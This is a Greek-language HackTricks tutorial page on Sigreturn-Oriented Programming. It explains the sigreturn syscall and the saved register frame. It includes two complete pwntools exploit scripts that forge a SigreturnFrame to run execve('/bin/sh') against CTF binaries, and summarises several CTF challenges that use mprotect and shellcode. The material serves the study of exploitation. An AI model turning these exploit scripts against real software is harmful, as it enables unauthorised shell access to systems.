SROP - Sigreturn-Oriented Programming

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Sigreturn είναι μια ειδική syscall που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν χειριστή σήματος, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.

Αφού ο χειριστής σήματος ολοκληρωθεί, το πρόγραμμα πρέπει να επανέλθει στην προηγούμενη κατάσταση του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται η sigreturn. Βοηθά το πρόγραμμα να επιστρέψει από τον χειριστή σήματος και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.

Το ενδιαφέρον είναι πώς η sigreturn αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας όλες τις τιμές των καταχωρητών της CPU στη στοίβα. Όταν το σήμα δεν είναι πλέον αποκλεισμένο, sigreturn αφαιρεί αυτές τις τιμές από τη στοίβα, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας.

Καλώντας τη syscall sigreturn από μια αλυσίδα ROP και προσθέτοντας τις τιμές των καταχωρητών που θα θέλαμε να φορτώσει στη στοίβα, είναι δυνατό να ελέγξουμε όλες τις τιμές των καταχωρητών και επομένως να καλέσουμε για παράδειγμα τη syscall execve με /bin/sh.

Σημειώστε πώς αυτό θα ήταν μια τύπου Ret2syscall που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:

Ret2syscall

Αν είστε περίεργοι, αυτή είναι η δομή sigcontext που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από εδώ):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Για μια καλύτερη εξήγηση ελέγξτε επίσης:

Παράδειγμα

Μπορείτε να βρείτε ένα παράδειγμα εδώ όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή 0xf), αν και αυτό είναι το τελικό exploit από εκεί:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Δείτε επίσης το exploit από εδώ όπου το δυαδικό αρχείο καλούσε ήδη το sigreturn και επομένως δεν είναι απαραίτητο να το κατασκευάσουμε με ένα ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Άλλα Παραδείγματα & Αναφορές

  • Assembly binary που επιτρέπει να γραφεί στη στοίβα και στη συνέχεια καλεί το sigreturn syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn και να διαβαστεί η σημαία που είναι μέσα στη μνήμη του binary.

  • Assembly binary που επιτρέπει να γραφεί στη στοίβα και στη συνέχεια καλεί το sigreturn syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn (το binary έχει τη συμβολοσειρά /bin/sh).

  • 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία gets με έλλειψη gadgets που εκτελεί ένα ret2syscall. Η αλυσίδα ROP γράφει /bin/sh στο .bss καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία alarm για να ορίσει το eax σε 0xf για να καλέσει ένα SROP και να εκτελέσει ένα shell.

  • 64 bits assembly πρόγραμμα, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελέγξει αρκετούς καταχωρητές και να καλέσει ένα syscall και στη συνέχεια καλεί exit. Το επιλεγμένο syscall είναι ένα sigreturn που θα ορίσει τους καταχωρητές και θα μετακινήσει το eip για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το memprotect για να ορίσει τον χώρο του binary σε rwx και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode θα το γράψει ως την επόμενη εντολή και θα το εκτελέσει.

  • Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.

Μάθε & εξάσκησε το AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθε & εξάσκησε το GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Last updated